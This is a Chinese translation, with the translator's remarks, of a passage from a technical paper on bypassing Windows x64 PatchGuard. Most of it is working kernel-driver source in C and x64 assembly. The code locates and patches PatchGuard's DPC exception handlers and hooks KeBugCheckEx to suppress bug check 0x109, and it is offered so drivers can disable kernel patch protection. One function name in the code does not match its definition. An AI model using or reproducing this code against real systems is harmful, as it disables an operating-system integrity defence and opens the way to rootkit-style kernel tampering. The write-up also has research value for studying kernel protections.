3.5. 報告驗證不一致(Reporting Verification Inconsistencies)
PG檢測到關鍵結構體被改變後,其就會調用nt!SdpCheckDll()函數(code-copy version是什麽版本,不敢妄猜,反正是個函數)。傳遞給這個函數的參數之後也會通過函數地址表(function table)傳遞給nt!KeBugCheckEx ()函數。這裏的function table是存放在PG context中的。nt!SdpCheckDll()函數的作用是在跳轉到nt!KeBugCheckEx ()函數前將當前幀(current frame)之前的所有寄存器和棧都清0(原文:The purpose of nt!SdbpCheckDll is to zero out the stack and all of the registers prior to the current frame before jumping to nt!KeBugCheckEx.)。這樣做的目的可能是防止第三方驅動檢測並根據bug check report修復棧吧。如果檢測順利且沒有不一致的情況,則該函數會創建一個新的PG context並再次設置timer,使用的DPC函數就是第一次隨機選中的那個函數。

繞過64位windows系統的PatchGuard

了解了PG的大多數關鍵性的保護原理後,下一個目標就是看是否有方法繞過PG了,主要是想方設法禁用或欺騙驗證函數。你可以自己創建一個boot loader,讓它在PG初始化之前就運行;也可以修改ntoskrnl.exe,以完全剔除PG初始化。本文采用的方法既不需要憑借入侵操作,也不要去重啟系統。事實上,最初的目標是創建一個單獨的函數,或幾個函數,並采用某種方法將這個或這幾個函數拋給設備驅動(device drivers),讓它們能夠調用一個函數以禁用PG的保護功能,這樣驅動開發者依然可以使用現有的hook關鍵結構體的方法進行hook。
要註意本文所列舉的一些方法沒有經過測試且只是理論上的方法,本文只介紹經過測試的方法。在深入介紹這個特定的繞過PG的方法前,還需要考慮禁用正在運行的(on the fly)PG的幾個技術。第一:驗證函數是如何被調用起來的,且是依據什麽來完成驗證過程的。在這種情況下,驗證函數是保存在一個timer的context中進行運行的,這個timer與一個DPC相關聯,而這個DPC又是由一個系統工作線程(system worker thread)調用的。最終就會調用到異常處理函數。這個DPC例程就是從primary PG context中的一塊函數地址數組中隨機選擇來的,這個timer對象的超時值DueTime也是隨機產生的。如此種種都是為了增加被檢測的難度!
撇開這個驗證函數不說,我們還知道當PG檢測到關鍵結構體不一致時會調用nt!KeBugCheckEx()函數(0x109)以讓系統藍屏。知道了這些小邊信息,繞過PG的思路就更寬了。
4.1. Hooking異常處理函數(Exception Handler Hooking)
既然這個驗證函數間接依賴這三個timer DPC例程的異常處理函數來執行,那麽改變每個異常處理函數以讓它們不做任何處理就變得合情合理了。也就是說即使DPC例程觸發了一般保護錯誤異常(general protection fault),異常處理函數會被調用,但其不會做任何驗證檢測。經測試,這個方法有效(在當前版本的PG)。
實現這個方法的第一步就是找到已知與PG相關聯的函數列表。直到今天,這個列表也只包含那三個函數,但將來有可能不是。找到這個函數數組後,還需要找到每個函數的異常處理函數,並修改每個異常處理函數以返回真(return 0x1)。這個方法的算法如下:
static CHAR CurrentFakePoolTagArray[] = "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"; //有空格

NTSTATUS DisablePatchGuard()
{
UNICODE_STRING SymbolName;
NTSTATUS Status = STATUS_SUCCESS;
PVOID * DpcRoutines = NULL;
PCHAR NtBaseAddress = NULL;
ULONG Offset;
RtlInitUnicodeString(
&SymbolName,
L"__C_specific_handler");
do
{
//
// Get the base address of nt
//
if (!RtlPcToFileHeader(
MmGetSystemRoutineAddress(&SymbolName),
(PCHAR *)&NtBaseAddress))
{
Status = STATUS_INVALID_IMAGE_FORMAT;
break;
}

//
// Search the image to find the first occurrence of:
//
// "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"
//
// This is the fake tag pool array that is used to allocate protection contexts.
//
__try
{
for (Offset = 0; !DpcRoutines; Offset += 4)
{
//
// If we find a match for the fake pool tag array, the DPC routine
// addresses will immediately follow.
//
if (memcmp(
NtBaseAddress + Offset,
CurrentFakePoolTagArray,
sizeof(CurrentFakePoolTagArray) - 1) == 0)
{
DpcRoutines = (PVOID *)(NtBaseAddress +
Offset + sizeof(CurrentFakePoolTagArray) + 3);
}
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
//
// If an exception occurs, we failed to find it. Time to bail out.
//
Status = GetExceptionCode();
break;
}
DebugPrint(("DPC routine array found at %p.",DpcRoutines));
//
// Walk the DPC routine array.
//
for (Offset = 0; DpcRoutines[Offset] && NT_SUCCESS(Status); Offset++)
{
PRUNTIME_FUNCTION Function;
ULONG64 ImageBase;
PCHAR UnwindBuffer;
UCHAR CodeCount;
ULONG HandlerOffset;
PCHAR HandlerAddress;
PVOID LockedAddress;
PMDL Mdl;

//
// If we find no function entry, then go on to the next entry.
//
if ((!(Function = RtlLookupFunctionEntry(
(ULONG64)DpcRoutines[Offset],
&ImageBase,
NULL))) || (!Function->UnwindData))
{
Status = STATUS_INVALID_IMAGE_FORMAT;
continue;
}

//
// Grab the unwind exception handler address if we’re able to find one.
//
UnwindBuffer = (PCHAR)(ImageBase + Function->UnwindData);
CodeCount = UnwindBuffer[2];

//
// The handler offset is found within the unwind data that is specific
// to the language in question. Specifically, it’s +0x10 bytes into
// the structure not including the UNWIND_INFO structure itself and any
// embedded codes (including padding). The calculation below accounts
// for all these and padding.
//
HandlerOffset = *(PULONG)((ULONG64)(UnwindBuffer + 3 +
(CodeCount * 2) + 20) & ~3);

//
// calculate the full address of the handler to patch.
//
HandlerAddress = (PCHAR)(ImageBase + HandlerOffset);
DebugPrint(("Exception handler for %p found at %p (unwind %p).",
DpcRoutines[Offset],
HandlerAddress,
UnwindBuffer));

//
// Finally, patch the routine to simply return with 1. We’ll patch with:
//
// 6A01 push byte 0x1
// 58 pop eax
// C3 ret
//

//
// Allocate a memory descriptor for the handler’s address.
//
if (!(Mdl = MmCreateMdl( NULL, (PVOID)HandlerAddress, 4)))
{
Status = STATUS_INSUFFICIENT_RESOURCES;
continue;
}

//
// Construct the Mdl and map the pages for kernel-mode access.
//
MmBuildMdlForNonPagedPool(Mdl);
if (!(LockedAddress = MmMapLockedPages(Mdl, KernelMode)))
{
IoFreeMdl(Mdl);
Status = STATUS_ACCESS_VIOLATION;
continue;
}

//
// Interlocked exchange the instructions we’re overwriting with.
//
InterlockedExchange((PLONG)LockedAddress, 0xc358016a);

//
// Unmap and destroy the MDL
//
MmUnmapLockedPages(LockedAddress,Mdl);
IoFreeMdl(Mdl);
} //for
} while (0);
return Status;
}
這個方法的優點是其比較小且相對簡單,容錯能力也比較強。缺點是其要求pool tag數組剛好就在DPC函數地址數組之前且緊挨著,且尋找pool tag數組依賴於一個固定值,而微軟將來完全有可能消除該固定值。鑒於這些原因,在產品中最好不要使用該方法。
4.2. Hooking KeBugCheckEx
PG保護無法避免的一個事實就是其必須以某種方法報告驗證不一致。事實上,這個方法在檢測到打補丁的操作後,必須關閉系統,以防止第三方廠商繼續運行代碼。這種方法就是調用nt!KeBugCheckEx()函數,bug check code就是之前的0x109。這裏采用BSoD,而不是黑屏、直接關機或重啟系統的目的是讓用戶知道發生了什麽。(微軟還是很厚道的~~~)
本文的作者想繞過這個技術的第一個想法就是讓nt!KeBugCheckEx()函數返回到調用者的調用幀(caller’s caller frame)中。這樣做是有必要的,在調用nt!KeBugCheckEx()函數後,因為編譯器立即插入了一個調試器陷阱(debugger trap),所以就不可能返回到調用者那裏了,但還是有可能返回到調用者的調用幀中。舉個例:FuncA調用FuncB,FuncB觸發異常,導致nt!KeBugCheckEx()函數被調用,在不能回到FuncB的情況下,我們讓它回到FuncA的幀中(caller’s call frame)。但是,我們之前已說過,PG已經將調用nt!KeBugCheckEx()函數之前的棧都清0了。因此,想hook nt!KeBugCheckEx()函數似乎是死路一條。恰恰相反,不是!(被作者嚇出一身冷汗???~~~)
由此衍生出一種方法,你不用擔心存儲在寄存器或棧上的context,而是利用“每個線程都會保留其自身的入口點地址”這個特征。對於系統工作線程(system worker threads),這個入口點通常就指向nt!ExpWorkerThread ()這樣的函數。因為有多個系統工作線程都指向nt!ExpWorkerThread (),該如何是好?不用擔心。傳遞給這個函數的context參數與具體的線程不相幹,因為系統工作線程只是用來處理工作項(work items)和超時的DPC例程。知道了這一點,這個方法歸結起來,就是hook nt!KeBugCheckEx()函數並判斷bug check code是否是0x109。如果不是0x109,則直接調用原始的nt!KeBugCheckEx()函數。如果是0x109,則這個線程可以重啟,重啟的方法是修復這個調用線程的棧指針(當前棧指針減0x8),然後跳轉到這個線程的StartAddress處。這樣做的結果是,線程繼續回去一如既往地處理work items和超時的DPC例程。
有個很明顯的方法就是簡單地結束這個調用線程,但這樣做是不可能的。因為OS會持續跟蹤系統工作線程並檢測其中是否有退出的。系統工作線程的退出會導致系統BSoD。Hook nt!KeBugCheckEx()函數的算法如下:
== ext.asm==============
.data
EXTERN OrigKeBugCheckExRestorePointer:PROC
EXTERN KeBugCheckExHookPointer:PROC
.code
;
; Points the stack pointer at the supplied argument and returns to the caller.
;
public AdjustStackCallPointer
AdjustStackCallPointer PROC
mov rsp, rcx
xchg r8, rcx
jmp rdx
AdjustStackCallPointer ENDP
;
; Wraps the overwritten preamble of KeBugCheckEx.
;
public OrigKeBugCheckEx
OrigKeBugCheckEx PROC
mov [rsp+8h], rcx
mov [rsp+10h], rdx
mov [rsp+18h], r8
lea rax, [OrigKeBugCheckExRestorePointer]
jmp qword ptr [rax]
OrigKeBugCheckEx ENDP
END

== antipatch.c===========
//
// Both of these routines reference the assembly code described
// above
//
extern VOID OrigKeBugCheckEx(
IN ULONG BugCheckCode,
IN ULONG_PTR BugCheckParameter1,
IN ULONG_PTR BugCheckParameter2,
IN ULONG_PTR BugCheckParameter3,
IN ULONG_PTR BugCheckParameter4);
extern VOID AdjustStackCallPointer(
IN ULONG_PTR NewStackPointer,
IN PVOID StartAddress,
IN PVOID Argument);
//
// mov eax, ptr
// jmp eax
//
static CHAR HookStub[] =
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0";
//
// The offset into the ETHREAD structure that holds the start routine.
//
static ULONG ThreadStartRoutineOffset = 0;
//
// The pointer into KeBugCheckEx after what has been overwritten by the hook.
//
PVOID OrigKeBugCheckExRestorePointer;
VOID KeBugCheckExHook(
IN ULONG BugCheckCode,
IN ULONG_PTR BugCheckParameter1,
IN ULONG_PTR BugCheckParameter2,
IN ULONG_PTR BugCheckParameter3,
IN ULONG_PTR BugCheckParameter4)
{
PUCHAR LockedAddress;
PCHAR ReturnAddress;
PMDL Mdl = NULL;
//
// Call the real KeBugCheckEx if this isn’t the bug check code we’re looking
// for.
//
if (BugCheckCode != 0x109)
{
DebugPrint(("Passing through bug check %.4x to %p.",
BugCheckCode,
OrigKeBugCheckEx));
OrigKeBugCheckEx(
BugCheckCode,
BugCheckParameter1,
BugCheckParameter2,
BugCheckParameter3,
BugCheckParameter4);
}
else
{
PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
PVOID StartRoutine = *(PVOID **)(CurrentThread + ThreadStartRoutineOffset);
PVOID StackPointer = IoGetInitialStack();
DebugPrint(("Restarting the current worker thread %p at %p (SP=%p, off=%lu).",
PsGetCurrentThread(),
StartRoutine,
StackPointer,
ThreadStartRoutineOffset));
//
// Shift the stack pointer back to its initial value and call the routine. We
// subtract eight to ensure that the stack is aligned properly as thread
// entry point routines would expect.
//
AdjustStackCallPointer((ULONG_PTR)StackPointer - 0x8,
StartRoutine,
NULL);
}
//
// In either case, we should never get here.
//
__debugbreak();
}
VOID DisablePatchProtectionSystemThreadRoutine(
IN PVOID Nothing)
{
UNICODE_STRING SymbolName;
NTSTATUS Status = STATUS_SUCCESS;
PUCHAR LockedAddress;
PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread();
PCHAR KeBugCheckExSymbol;
PMDL Mdl = NULL;
RtlInitUnicodeString(
&SymbolName,
L"KeBugCheckEx");
do
{
//
// Find the thread’s start routine offset.
//
for (ThreadStartRoutineOffset = 0;
ThreadStartRoutineOffset < 0x1000;
ThreadStartRoutineOffset += 4)
{
if (*(PVOID **)(CurrentThread +
ThreadStartRoutineOffset) == (PVOID)DisablePatchProtection2SystemThreadRoutine)
break;
}
DebugPrint(("Thread start routine offset is 0x%.4x.",
ThreadStartRoutineOffset));
//
// If we failed to find the start routine offset for some strange reason,
// then return not supported.
//
if (ThreadStartRoutineOffset >= 0x1000)
{
Status = STATUS_NOT_SUPPORTED;
break;
}
//
// Get the address of KeBugCheckEx.
//
if (!(KeBugCheckExSymbol = MmGetSystemRoutineAddress(&SymbolName)))
{
Status = STATUS_PROCEDURE_NOT_FOUND;
break;
}
//
// Calculate the restoration pointer.
//
OrigKeBugCheckExRestorePointer = (PVOID)(KeBugCheckExSymbol + 0xf);
//
// Create an initialize the MDL.
//
if (!(Mdl = MmCreateMdl(
NULL,
(PVOID)KeBugCheckExSymbol,
0xf)))
{
Status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
MmBuildMdlForNonPagedPool(
Mdl);
//
// Probe & Lock.
//
if (!(LockedAddress = (PUCHAR)MmMapLockedPages(
Mdl,
KernelMode)))
{
IoFreeMdl(
Mdl);
Status = STATUS_ACCESS_VIOLATION;
break;
}
//
// Set the aboslute address to our hook.
//
*(PULONG64)(HookStub + 0x2) = (ULONG64)KeBugCheckExHook;
DebugPrint(("Copying hook stub to %p from %p (Symbol %p).",
LockedAddress,
HookStub,
KeBugCheckExSymbol));
//
// Copy the relative jmp into the hook routine.
//
RtlCopyMemory(
LockedAddress,
HookStub,
0xf);
//
// Cleanup the MDL.
//
MmUnmapLockedPages(
LockedAddress,
Mdl);
IoFreeMdl(
Mdl);
} while (0);
}
//
// A pointer to KeBugCheckExHook
//
PVOID KeBugCheckExHookPointer = KeBugCheckExHook;
NTSTATUS DisablePatchProtection() {
OBJECT_ATTRIBUTES Attributes;
NTSTATUS Status;
HANDLE ThreadHandle = NULL;
InitializeObjectAttributes(
&Attributes,
NULL,
OBJ_KERNEL_HANDLE,
NULL,
NULL);
//
// Create the system worker thread so that we can automatically find the
// offset inside the ETHREAD structure to the thread’s start routine.
//
Status = PsCreateSystemThread(
&ThreadHandle,
THREAD_ALL_ACCESS,
&Attributes,
NULL,
NULL,
DisablePatchProtectionSystemThreadRoutine,
NULL);
if (ThreadHandle)
ZwClose(
ThreadHandle);
return Status;
}
該方法經測試,可以有效繞過目前版本的PG。這個方法的優點是其不依賴任何非導出的依存關系或標識(un-exported dependencies或者signatures),在性能上是零損失的,因為nt!KeBugCheckEx()函數從不會調用,除非系統崩潰了,並且其也不會受到競爭條件的限制。唯一的缺點是期取決於系統工作線程的行為,以及在恢復線程的入口點後再執行時,如果傳入的是一個NULL context,這個安全性無法確認。目前認為是安全的。
要使這個方法失效,微軟要做幾件事:
第一,可能創建一個新的保護sub-context以存放nt!KeBugCheckEx()函數和其要調用的那個函數(應該是異常處理函數)的checksum。在微軟檢測到nt!KeBugCheckEx()函數被修改後,可能需要做一次hard reboot(冷啟動?),且不調用任何外部函數。微軟要解決這個問題的方法不多。然而,任何依賴調用地址確定的外部函數的方法都會給類似本文的繞過技術以可乘之機~~~
第二,微軟可能在調用nt!KeBugCheckEx()函數前,采用某種有效的方法將線程結構體中的某些字段清0。這可能會使得我們的方法失效,但其不能防止其它的方法,只是可能會費點心思而已。不管怎麽樣,都必須保證系統工作線程能回去正常處理隊列中的work items。
4.3. 找出Timer(Finding the Timer)
這個方法是理論上的,還沒有測試過。這個方法就是利用一些啟發式算法來定位與PG相關聯的timer context。要設計這樣的算法,就需要知道設置timer DPC例程的方法:
第一,我們知道與DPC相關聯的DeferredRoutine()將指向以下三個函數中的一個:nt!KiScanReadyQueues()、nt!ExpTimeRefreshDpcRoutine()、nt!ExpTimeZoneDpcRoutine()。不幸的是,這三個函數的地址無法直接確定,因為它們沒有被導出。但不管怎樣,知道有這3個函數,有沒有用,以後再說。
第二,我們知道與DPC相關聯的DeferredContext將被設置成一個無效的指針。我們還知道在偏移timer結構體起始位置0x88處存放的是一個0x1131(2個字節)。通過大量的調查,還發現了其它一些與這個timer相關的信息(contextual references),這些足以識別出PG的timer了。
解決這個問題的第一步是找到能夠枚舉timers的方法。在這種情況下,就需要分析timer list的這個未導出的地址,以便能夠枚舉出所有的活動的timers。然而,要達到這個目的(枚舉出所有的活動的timers),我們還有其它的間接方法,比如反匯編一些其涉及到的函數。只是這會有一個小小的問題,就是依靠定位未導出符號(函數或變量)的地址的方法,可能會導致代碼不穩定。
另外一個選擇(不依賴定位未導出符號)可能就是找到一種方法,其可以找到可以被搜索的地址空間。當然,搜索時是從nt!MmNonPagedPoolStart開始(windows的非分頁池空間的常規區域是從此開始的)。搜索的方法還是上面所介紹的啟發式匹配條件。給定一組正確的參數以進行搜索,這似乎是可取的且能很確定地定位到timer結構體。然而,這可能會遇到一個競爭條件,在定位到timer的例程後,且在取消這個例程前,這個timer routine被分發執行了,我們就不得不轉入等待狀態。要克服這個困難,進行搜索操作的這個線程可能需要將IRQL提升到更高的級別上。當然,在它執行搜索的過程中,其可能禁用其它的處理器。
不管怎麽樣,只要能定位到timer結構體,要中止PG的驗證函數和完全禁用PG,就跟調用nt!KeCancelTimer ()函數一樣簡單了。如果可能,這種方法是最佳選擇,因為其不需要打代碼補丁。
如果這種方法經證明是行得通的,那麽微軟可能采取以下兩個方法之一來防止這種方法:
第一,識別出驅動搜索地址空間時所使用的匹配條件,且(微軟)認為這種搜索方法是不安全的。這樣使用已存在的這些匹配參數來定位timer結構體就不可能了。
第二,微軟可以改變引導PG驗證函數執行的機制,以致其不利於timer DPC例程。當然,第一個方法更勝一籌。因為第二個方法要重新設計PG的一個很重要的機制已屬不易,更何況還要重新考慮用於隱藏PG驗證階段的技術。
4.4. 混合攔截(Hybrid Interception)
前面的方法都是阻止PG的驗證程序執行。前面所介紹的hook異常處理的方法我們可稱之為事前方法(before-the-fact approach);hook nt!KeBugCheckEx()函數的方法我們可稱之為事後方法(after-the-approach)。從理論上講,如果能有效結合以上這兩種方法,那麽就可完全檢測PG驗證程序的執行了。
有一種可能的方法,就是hook nt!C_specific_handler ()函數。這個函數是導出的,如果這個函數可以被操作,對我們來說就非常有用了。這個函數主要是為函數指定異常函數(exception handlers)。也就是說,PG是通過nt!C_specific_handler ()函數來將DeferredRoutine()指定為其DPC例程的異常函數的。那麽我們Hook了這個函數後,我們就可以跟蹤異常信息並根據需要進行過濾,以確定是否要運行PG。
4.5. 模擬熱補丁(Simulated Hot Patching)
這種方法,原文作者還沒研究,我這樣的菜鳥就飄過了~~~,有興趣的朋友可參看原文。

總結
飄過,有興趣的朋友請參考原文~~~
參考
飄過,有興趣的朋友請參考原文~~~(有幾個URL我沒能打開,悲催……)
      jpg改rar
技術分享圖片

Bypassing PatchGuard on Windows x64